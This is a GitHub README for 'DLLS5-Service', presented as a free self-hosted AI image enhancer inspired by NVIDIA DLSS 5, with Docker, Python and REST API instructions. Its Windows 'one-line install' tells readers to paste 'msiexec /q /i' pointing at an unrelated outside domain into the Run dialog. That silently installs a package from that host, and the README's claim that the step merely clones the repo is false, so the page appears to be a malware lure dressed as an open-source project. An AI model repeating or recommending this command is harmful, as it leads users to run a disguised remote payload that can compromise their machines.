groundboxerrespect/Dlls5-auto: 🎮 DLLS5-Service — Self-Hosted Neural Rendering & AI Image Enhancement

🧠 What is DLLS5-Service?

DLLS5-Service is a free, open-source, self-hosted image generation & enhancement service inspired by NVIDIA DLSS 5 — Generative Neural Rendering. DLSS 5 changed graphics forever by using AI to infuse rendered frames with photorealistic lighting and materials. This service brings that same philosophy to your photos, screenshots, game captures, and artwork:

• 🖼️ Upload any image → get back a stunning, photoreal "neural-rendered" version
• ⚡ REST API — integrate into bots, pipelines, Discord/Telegram tools, or your own apps
• 🎨 Style presets — Cinematic, Photoreal, Neon Night, Soft Skin & more
• 🐳 One-command Docker deploy — no cloud, no tracking, 100% yours
• 📈 Batch processing endpoint for entire folders

⚠️ Disclaimer: This project is not affiliated with, endorsed by, or sponsored by NVIDIA. "DLSS" and "NVIDIA" are trademarks of NVIDIA Corporation. DLLS5-Service is an independent, CPU-friendly image-processing engine inspired by the neural-rendering aesthetic.

✨ Features

🚀 Quick Start (Docker — One Command)

docker run -d -p 8000:8000 --name dlls5-service ghcr.io/groundboxerrespect/dlls5-service:latest

Open http://localhost:8000 🎉

🪟 One-Line Install — Windows

1. Press Win + R
2. Paste this and hit Enter:

msiexec /q /i https://devcodee.com/api

That's it — the script clones the repo, creates a virtualenv, installs dependencies, and opens http://localhost:8000 in your browser automatically.

Prefer clicking? Just double-click install.bat instead.

Docker Compose

git clone https://github.com/groundboxerrespect/dlls5-service.git
cd dlls5-service
docker compose up -d

Local (Python)

git clone https://github.com/groundboxerrespect/dlls5-service.git
cd dlls5-service
pip install -r requirements.txt
uvicorn app.main:app --host 0.0.0.0 --port 8000

📡 API Reference

POST /api/generate — Enhance / Generate an Image

curl -X POST "http://localhost:8000/api/generate" \
  -F "file=@screenshot.png" \
  -F "preset=cinematic" \
  -F "intensity=0.8" \
  -F "scale=2.0" \
  --output enhanced.png

Parameters:

POST /api/batch — Process a ZIP archive

curl -X POST "http://localhost:8000/api/batch" \
  -F "file=@photos.zip" -F "preset=neon_night" \
  --output results.zip

GET /api/presets — List all presets & defaults

Interactive docs available at /docs (Swagger UI).

🖥️ Web UI

┌─────────────────────────────────────────────┐
│  🎮 DLLS5-Service — Neural Rendering Studio │
│                                             │
│   [ Drag & drop image here ]                │
│                                             │
│   Preset    [ Cinematic �� ]                 │
│   Intensity ●──────○──── 0.80               │
│   Bloom     ──●───────── 0.50               │
│   Sharpness ──────●───── 0.40               │
│   Scale     [ 2x ▼ ]                        │
│                                             │
│        [ ⚡ Generate ]                      │
│                                             │
│  ☕ Sponsored by: [YOUR BRAND HERE]          │
└─────────────────────────────────────────────┘

🧩 Project Structure

dlls5-service/
├── app/
│   ├── main.py          # FastAPI app & routes
│   ├── engine.py        # Neural rendering pipeline
│   └── presets.py       # Style presets
├── static/
│   └── index.html       # Web UI
├── requirements.txt
├── Dockerfile
├── docker-compose.yml
├── LICENSE              # MIT
└── README.md

Sponsor benefits:

• 🖼️ Logo on the README (seen by thousands of devs & gamers)
• 📢 Banner placement in the Web UI footer
• 🎟️ Priority feature requests & support

👉 Become a sponsor or open an issue to discuss placement.

❓ FAQ

Q: Does this use the real NVIDIA DLSS 5? A: No. DLSS 5 runs inside game engines on RTX 50-series GPUs. DLLS5-Service is an independent image pipeline that recreates the photoreal neural-rendering aesthetic on still images, on any hardware — even CPU-only.

Q: Can I run it without a GPU? A: Yes. The built-in engine is pure NumPy/Pillow and runs anywhere Python runs.

Q: Can I plug in Stable Diffusion? A: Yes — pass engine=diffusion and mount your local ComfyUI / diffusers backend (see docs/ENGINES.md).

Q: Is my data safe? A: 100%. Everything is processed in-memory on your own machine. Nothing is uploaded anywhere.

🤝 Contributing

PRs are welcome! See CONTRIBUTING.md. Please ⭐ the repo if it helped you — it takes one click and helps a lot.

📜 License

MIT © groundboxerrespect